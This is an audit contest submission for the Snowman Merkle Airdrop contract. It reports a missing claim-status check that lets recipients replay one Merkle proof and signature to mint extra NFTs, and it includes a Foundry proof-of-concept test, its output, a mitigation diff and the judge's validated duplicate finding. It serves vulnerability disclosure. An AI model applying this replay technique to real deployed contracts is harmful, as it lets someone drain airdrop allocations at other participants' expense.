Snowman Merkle Airdrop
AI First Flight #10
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Submission Details
Severity: low
Valid

Missing s_hasClaimedSnowman check lets recipients re-claim airdrop indefinitely after refilling Snow balance

cloebaxter4

Root + Impact

Description

  • SnowmanAirdrop.claimSnowman() is the single entry point through which an eligible recipient receives Snowman NFTs in exchange for staking their Snow tokens. The contract maintains a mapping(address => bool) private s_hasClaimedSnowman whose stated purpose (per the variable name and comment) is to track whether an address has already claimed.

  • The mapping is written at the end of claimSnowman() but it is never read anywhere — there is no if (s_hasClaimedSnowman[receiver]) revert guard, and the EIP-712 digest does not include a nonce. As a result, a recipient who tops their Snow balance back up to the amount stored in the Merkle leaf (e.g. via the free weekly Snow.earnSnow() or via Snow.buySnow()) can replay the exact same Merkle proof and signature and mint a second batch of NFTs from a single airdrop allocation. This can be repeated indefinitely.

// src/SnowmanAirdrop.sol
function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{
if (receiver == address(0)) revert SA__ZeroAddress();
if (i_snow.balanceOf(receiver) == 0) revert SA__ZeroAmount();
@> // <-- @> NO check on s_hasClaimedSnowman[receiver] before processing the claim
if (!_isValidSignature(receiver, getMessageHash(receiver), v, r, s)) revert SA__InvalidSignature();
​
uint256 amount = i_snow.balanceOf(receiver);
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) revert SA__InvalidProof();
​
i_snow.safeTransferFrom(receiver, address(this), amount);
​
@> s_hasClaimedSnowman[receiver] = true; // @> written but never checked
​
emit SnowmanClaimedSuccessfully(receiver, amount);
i_snowman.mintSnowman(receiver, amount);
}

Risk

Likelihood:

  • Every legitimate recipient is automatically capable of triggering this — they already hold a valid Merkle proof, sign their own digest, and the Snow contract gives them a free path to refill their balance via the public earnSnow() (1 Snow / week / address) or paid buySnow() paths until FARMING_DURATION elapses.

  • The economic incentive is direct (each replay yields one or more free NFTs of measurable value), so any rational eligible user will exploit it once they notice it.

Impact:

  • The Snowman NFT supply can be inflated arbitrarily: an allocation of N Snow → N NFTs becomes N * k NFTs, where k is the number of times the recipient is willing to refarm and re-claim.

  • The protocol's stated invariant "Stakers of the Snow token receive Snowman NFTs equal to their Snow balance in return" is broken — recipients receive NFTs equal to a multiple of their actual allocation.

  • The s_hasClaimedSnowman mapping is a footgun: future auditors and integrators will reasonably assume it is enforcing single-claim semantics when it is not, leading to incorrect downstream reasoning.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
​
import {Test, console2} from "forge-std/Test.sol";
import {Snow} from "../src/Snow.sol";
import {Snowman} from "../src/Snowman.sol";
import {SnowmanAirdrop} from "../src/SnowmanAirdrop.sol";
import {MockWETH} from "../src/mock/MockWETH.sol";
import {Helper} from "../script/Helper.s.sol";
​
contract PoC_DoubleClaim is Test {
Snow snow;
Snowman nft;
SnowmanAirdrop airdrop;
MockWETH weth;
Helper deployer;
​
bytes32 alProofA = 0xf99782cec890699d4947528f9884acaca174602bb028a66d0870534acf241c52;
bytes32 alProofB = 0xbc5a8a0aad4a65155abf53bb707aa6d66b11b220ecb672f7832c05613dba82af;
bytes32 alProofC = 0x971653456742d62534a5d7594745c292dda6a75c69c43a6a6249523f26e0cac1;
bytes32[] AL_PROOF = [alProofA, alProofB, alProofC];
​
address alice;
uint256 alKey;
address satoshi;
​
function setUp() public {
deployer = new Helper();
(airdrop, snow, nft, weth) = deployer.run();
(alice, alKey) = makeAddrAndKey("alice");
satoshi = makeAddr("gas_payer");
}
​
function test_alice_can_claim_snowman_twice_for_one_allocation() public {
// ---- 1st claim (legitimate) ----
assertEq(snow.balanceOf(alice), 1, "Alice starts with 1 Snow");
​
vm.prank(alice);
snow.approve(address(airdrop), 1);
​
bytes32 digest1 = airdrop.getMessageHash(alice);
(uint8 v1, bytes32 r1, bytes32 s1) = vm.sign(alKey, digest1);
​
vm.prank(satoshi);
airdrop.claimSnowman(alice, AL_PROOF, v1, r1, s1);
​
assertEq(nft.balanceOf(alice), 1);
assertTrue(airdrop.getClaimStatus(alice), "Mapping says she claimed");
​
// ---- 2nd claim (duplicate, same proof, same signature) ----
vm.warp(block.timestamp + 1 weeks);
vm.prank(alice);
snow.earnSnow(); // free refill
​
vm.prank(alice);
snow.approve(address(airdrop), 1);
​
bytes32 digest2 = airdrop.getMessageHash(alice);
assertEq(digest2, digest1, "Same balance => same digest");
​
(uint8 v2, bytes32 r2, bytes32 s2) = vm.sign(alKey, digest2);
vm.prank(satoshi);
airdrop.claimSnowman(alice, AL_PROOF, v2, r2, s2); // succeeds — no replay protection
​
assertEq(nft.balanceOf(alice), 2, "Alice now has TWO NFTs from one allocation");
console2.log("Alice's NFT balance after replay:", nft.balanceOf(alice));
}
}

Run with forge test --match-contract PoC_DoubleClaim -vv. Result:

[PASS] test_alice_can_claim_snowman_twice_for_one_allocation()
Logs: Alice's NFT balance after replay: 2

Recommended Mitigation

function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{
if (receiver == address(0)) revert SA__ZeroAddress();
+ if (s_hasClaimedSnowman[receiver]) revert SA__AlreadyClaimed();
if (i_snow.balanceOf(receiver) == 0) revert SA__ZeroAmount();
​
if (!_isValidSignature(receiver, getMessageHash(receiver), v, r, s)) revert SA__InvalidSignature();
​
uint256 amount = i_snow.balanceOf(receiver);
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) revert SA__InvalidProof();
​
+ s_hasClaimedSnowman[receiver] = true; // CEI: set state BEFORE external interactions
i_snow.safeTransferFrom(receiver, address(this), amount);
- s_hasClaimedSnowman[receiver] = true;
​
emit SnowmanClaimedSuccessfully(receiver, amount);
i_snowman.mintSnowman(receiver, amount);
}

Add the corresponding error declaration:

+ error SA__AlreadyClaimed();
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 9 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[L-01] Missing Claim Status Check Allows Multiple Claims in SnowmanAirdrop.sol::claimSnowman

# Root + Impact &#x20; **Root:** The [`claimSnowman`](https://github.com/CodeHawks-Contests/2025-06-snowman-merkle-airdrop/blob/b63f391444e69240f176a14a577c78cb85e4cf71/src/SnowmanAirdrop.sol#L44) function updates `s_hasClaimedSnowman[receiver] = true` but never checks if the user has already claimed before processing the claim, allowing users to claim multiple times if they acquire more Snow tokens. **Impact:** Users can bypass the intended one-time airdrop limit by claiming, acquiring more Snow tokens, and claiming again, breaking the airdrop distribution model and allowing unlimited NFT minting for eligible users. ## Description * **Normal Behavior:** Airdrop mechanisms should enforce one claim per eligible user to ensure fair distribution and prevent abuse of the reward system. * **Specific Issue:** The function sets the claim status to true after processing but never validates if `s_hasClaimedSnowman[receiver]` is already true at the beginning, allowing users to claim multiple times as long as they have Snow tokens and valid proofs. ## Risk **Likelihood**: Medium * Users need to acquire additional Snow tokens between claims, which requires time and effort * Users must maintain their merkle proof validity across multiple claims * Attack requires understanding of the missing validation check **Impact**: High * **Airdrop Abuse**: Users can claim far more NFTs than intended by the distribution mechanism * **Unfair Distribution**: Some users receive multiple rewards while others may receive none * **Economic Manipulation**: Breaks the intended scarcity and distribution model of the NFT collection ## Proof of Concept Add the following test to TestSnowMan.t.sol  ```Solidity function testMultipleClaimsAllowed() public { // Alice claims her first NFT vm.prank(alice); snow.approve(address(airdrop), 1); bytes32 aliceDigest = airdrop.getMessageHash(alice); (uint8 v, bytes32 r, bytes32 s) = vm.sign(alKey, aliceDigest); vm.prank(alice); airdrop.claimSnowman(alice, AL_PROOF, v, r, s); assert(nft.balanceOf(alice) == 1); assert(airdrop.getClaimStatus(alice) == true); // Alice acquires more Snow tokens (wait for timer and earn again) vm.warp(block.timestamp + 1 weeks); vm.prank(alice); snow.earnSnow(); // Alice can claim AGAIN with new Snow tokens! vm.prank(alice); snow.approve(address(airdrop), 1); bytes32 aliceDigest2 = airdrop.getMessageHash(alice); (uint8 v2, bytes32 r2, bytes32 s2) = vm.sign(alKey, aliceDigest2); vm.prank(alice); airdrop.claimSnowman(alice, AL_PROOF, v2, r2, s2); // Second claim succeeds! assert(nft.balanceOf(alice) == 2); // Alice now has 2 NFTs } ``` ## Recommended Mitigation **Add a claim status check at the beginning of the function** to prevent users from claiming multiple times. ```diff // Add new error + error SA__AlreadyClaimed(); function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s) external nonReentrant { + if (s_hasClaimedSnowman[receiver]) { + revert SA__AlreadyClaimed(); + } + if (receiver == address(0)) { revert SA__ZeroAddress(); } // Rest of function logic... s_hasClaimedSnowman[receiver] = true; } ```

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